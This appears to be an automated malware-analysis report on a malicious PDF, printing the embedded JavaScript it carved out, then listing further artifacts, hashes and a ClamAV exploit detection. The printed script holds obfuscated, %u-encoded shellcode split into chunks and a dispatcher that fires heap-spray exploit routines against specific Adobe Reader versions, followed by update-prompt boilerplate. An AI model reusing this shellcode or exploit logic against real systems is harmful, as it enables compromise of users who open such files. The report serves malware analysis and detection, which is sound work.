var sc7 = avgir("%u6464%u6c5e%u7061%u6f5c%u6162%u6b64%u675e%u6568%u6961%u625d%u6c5d%u6e61%u6461%u6b5e%u6165%u6c5f");
var sc9 = avgir("%u6c59%u6f66%u6d62%u6461%u6e66%u6d5f%u6c59%u6561%u6c59%u6461%u6665%u6d5f%u6c5b%u6a66%u635f%u665c");
var sc6 = avgir("%u6461%u6160%u6766%u6c59%u6768%u6163%u6461%u6160%u6464%u6a5d%u6a65%u6265%u6e5b%u6461%u6665%u6d5f");
var sc10 = avgir("%u6464%u615d%u6a59%u6665%u695f%u6a59%u6665%u655f%u6459%u6665%u655f%u6561%u6b67%u6161%u6c59%u6665");
var sc5 = avgir("%u6e65%u6160%u6c59%u6e68%u6d60%u6266%u6c59%u6665%u6d5f%u6c59%u6168%u6d64%u6c59%u6568%u6761%u6968");
var sc13 = avgir("%u6162%u6161%u6161%u6c59%u6666%u6560%u6366%u6b67%u6161%u6c59%u6665%u6d60%u7060%u6166%u6564%u6a59");
var sc11 = avgir("%u655f%u6166%u6c59%u6e65%u6d60%u7060%u6266%u6162%u6a59%u6665%u6560%u6459%u6e68%u6560%u7060%u6568");
var sc14 = avgir("%u6665%u6960%u6b67%u6161%u6b67%u6161%u6b67%u6161%u6c59%u6e65%u655f%u6266%u6c59%u6666%u6d60%u7060");
var sc19 = avgir("%u6161%u6161%u6161%u6659%u615d%u7061%u6659%u6e67%u7060%u7060%u7060%u6c59%u6668%u6960%u6464%u6a5d");
var sc15 = avgir("%u6366%u6164%u6b67%u6161%u6e59%u6665%u695f%u6166%u6c59%u6e65%u6560%u6266%u6c59%u6666%u6960%u6366");
var sc8 = avgir("%u6260%u6c64%u7062%u6668%u675f%u6f66%u6c59%u6f66%u6563%u6461%u6e66%u6d5f%u6767%u6c59%u6d61%u6c65");
var sc16 = avgir("%u6c59%u6665%u655f%u6166%u6c59%u6e65%u6d60%u7060%u6266%u6d63%u6c59%u6666%u6960%u6461%u6666%u6560");
var sc21 = avgir("%u6668%u6d60%u7060%u6668%u655f%u7060%u675e%u695f%u6e5e%u6f60%u7060%u7060%u6c60%u685a%u6e60%u7061");
var sc17 = avgir("%u6259%u6b68%u6d60%u6667%u7067%u6767%u6b61%u6668%u6361%u6c5f%u6163%u6967%u6161%u6159%u6161%u6161");
var sc12 = avgir("%u6e67%u6259%u6e68%u6560%u6161%u6163%u6161%u6161%u6e68%u6361%u6c5f%u6367%u6b67%u6165%u6967%u6161");
var sc18 = avgir("%u6c59%u6665%u6560%u6166%u6c59%u6e65%u6960%u6266%u6c59%u6666%u6d60%u7060%u6366%u6964%u695c%u6261");
var sc20 = avgir("%u6265%u6259%u6d64%u6f61%u6667%u7067%u6767%u6b61%u6668%u6760%u6459%u625d%u6561%u6461%u6260%u7060");
var sc24 = avgir("%u6b60%u685a%u6361%u6d65%u6760%u6b5f%u6b5c%u6d66%u6762%u6667%u6b60%u6162%u6d5b%u6961%u6b5e%u6768");
var sc22 = avgir("%u665b%u6862%u6161%u6d68%u6368%u6f60%u645c%u6762%u6f68%u695e%u635f%u6468%u6e5b%u6c5a%u6e68%u705e");
var sc2 = avgir("%uea75%ue8c3%uffe0%uffff%u6666%u6c59%u6d5f%u6459%u6d5f%u6d66%u6466%u6766%u6866%u685d%u6665%u6160");
var sc25 = avgir("%u6566%u6b5d%u705b%u625a%u6d5b%u6464%u6761%u6461%u695a%u6f60%u6b59%u6f61%u7062%u6a68%u6b61%u695f");
var thsc = sc1+sc2+sc3+sc4+sc5+sc6+sc7+sc8+sc9+sc10+sc11+sc12+sc13+sc14+sc15+sc16+sc17+sc18+sc19+sc20+sc21+sc22+sc23+sc24+sc25;
if(app.viewerVersion == 9.0)
{
getIcon_spary(thsc);
return;
}
else if(app.viewerVersion == 8.103)
{
getIcon_spary(thsc);
return;
}
else if(app.viewerVersion == 8.102)
{
getIcon_spary(thsc);
return;
}
else
{
mailInfo_start(thsc);
return;
}
}
ExpDispatch();
if (typeof(ADBE.Reader_Value_Asked) == "undefined")
ADBE.Reader_Value_Asked = false;
if (typeof(ADBE.Viewer_Value_Asked) == "undefined")
ADBE.Viewer_Value_Asked = false;
if (typeof(ADBE.Reader_Need_Version) == "undefined" || ADBE.Reader_Need_Version < 7.0)
{
ADBE.Reader_Need_Version = 7.0;
ADBE.Reader_Value_New_Version_URL = "http://cgi.adobe.com/special/acrobat/update";
ADBE.SYSINFO = "?p=" + app.platform + "&v=" + app.viewerVersion + "&l=" + app.language + "&c=" + app.viewerType + "&w=" + "XFA1_6";
}
if (typeof(ADBE.Viewer_Need_Version) == "undefined" || ADBE.Viewer_Need_Version < 7.0)
{
ADBE.Viewer_Need_Version = 7.0;
ADBE.Viewer_Value_New_Version_URL = "http://cgi.adobe.com/special/acrobat/update";
ADBE.SYSINFO = "?p=" + app.platform + "&v=" + app.viewerVersion + "&l=" + app.language + "&c=" + app.viewerType + "&w=" + "XFA1_6";
}
if (typeof(this.ADBE) == "undefined")
this.ADBE = new Object();
ADBE.LANGUAGE = "ENU";
ADBE.Viewer_string_Title = "Adobe Acrobat";
ADBE.Viewer_string_Update_Desc = "Adobe Interactive Forms Update";
ADBE.Viewer_string_Update_Reader_Desc = "Adobe Reader 7";
ADBE.Reader_string_Need_New_Version_Msg = "This PDF file requires a newer version of Adobe Reader. Press OK to download the latest version or see your system administrator.";
ADBE.Viewer_Form_string_Reader_601 = "This PDF form requires a newer version of Adobe Reader. Although the form may appear to work properly, some elements may function improperly or may not appear at all. Press OK to initiate an online update or see your system administrator.";
ADBE.Viewer_Form_string_Reader_Older = "This PDF form requires a newer version of Adobe Reader. Although the form may appear to work properly, some elements may function improperly or may not appear at all. Press OK for online download information or see your system administrator.";
ADBE.Viewer_Form_string_Viewer_601 = "This PDF form requires a newer version of Adobe Acrobat. Although the form may appear to work properly, some elements may function improperly or may not appear at all. Press OK to initiate an online update or see your system administrator.";
ADBE.Viewer_Form_string_Viewer_60 = "This PDF form requires a newer version of Adobe Acrobat. Although the form may appear to work properly, some elements may function improperly or may not appear at all. For more information please copy the following URL (CTRL+C on Win, Command-C on Mac) and paste into your browser or see your system administrator.";
ADBE.Viewer_Form_string_Viewer_Older = "This PDF requires a newer version of Acrobat. Copy this URL and paste into your browser or see your sys admin.";
ADBE.Viewer_Form_string_Reader_5x = "This PDF form requires a newer version of Adobe Reader. Without a newer version, the form may be displayed, but it might not work properly. Some form elements might not be visible at all. If an internet connection is available, clicking OK will open your browser to a web page where you can obtain the latest version.";
ADBE.Viewer_Form_string_Reader_6_7x = "This PDF form requires a newer version of Adobe Reader. Without a newer version, the form may be displayed, but it might not work properly. Some form elements might not be visible at all. If an internet connection is available, clicking OK will download and install the latest version.";
ADBE.Viewer_Form_string_Viewer_7x = "This PDF form requires a newer version of Adobe Acrobat. Without a newer version, the form may be displayed, but it might not work properly. Some form elements might not be visible at all. If an internet connection is available, clicking OK will download and install the latest version.";
if (typeof(xfa_installed) == "undefined" || typeof(xfa_version) == "undefined" || xfa_version < 2.0)
{
if (app.viewerType == "Reader")
{
if (ADBE.Reader_Value_Asked != true)
{
if (app.viewerVersion < 6.0)
{
if (app.alert(ADBE.Viewer_Form_string_Reader_5x, 1, 1) == 1)
this.getURL(ADBE.Reader_Value_New_Version_URL + ADBE.SYSINFO, false);
ADBE.Reader_Value_Asked = true;
}
else if (app.viewerVersion < 7.0)
{
if (app.alert(ADBE.Viewer_Form_string_Reader_601, 1, 1) == 1)
app.findComponent({cType:"App", cName:"Reader7", cDesc: ADBE.Viewer_string_Update_Reader_Desc});
ADBE.Reader_Value_Asked = true;
}
else
{
if (app.alert(ADBE.Viewer_Form_string_Reader_6_7x, 1, 1) == 1)
app.findComponent({cType:"Plugin", cName:"XFA", cDesc: ADBE.Viewer_string_Update_Desc});
ADBE.Reader_Value_Asked = true;
}
}
}
else
{
if (ADBE.Viewer_Value_Asked != true)
{
if (app.viewerVersion < 7.0)
app.response({cQuestion: ADBE.Viewer_Form_string_Viewer_Older, cDefault: ADBE.Viewer_Value_New_Version_URL + ADBE.SYSINFO, cTitle: ADBE.Viewer_string_Title});
else if (app.alert(ADBE.Viewer_Form_string_Viewer_7x, 1, 1) == 1)
app.findComponent({cType:"Plugin", cName:"XFA", cDesc: ADBE.Viewer_string_Update_Desc});
ADBE.Viewer_Value_Asked = true;
}
}
}
|
|||
font_00_cff_off00001217.bin |
pdf-font-stream | PDF embedded font (cff) at offset 0x1217 | 31178 bytes |
SHA-256: 23831e143e2e1a484b95ee765b15d94562c951468b895c080e655667dc04ddf0 |
|||
polyglot_child_pdf_off00036ada.pdf |
polyglot-child-pdf | Secondary PDF body inside pdf container at offset 0x36ADA | 9993 bytes |
SHA-256: f840b4d92699c04296263b52305ac3b259495285725745011549b1dc1cb64250 |
|||
|
Detection
ClamAV:
Pdf.Exploit.Agent-35646
Obfuscation or payload:
likely
Carved artifact contains 1 long base64-like blob(s).
|
|||
Open this report in the interactive analyzer, or submit your own file for analysis.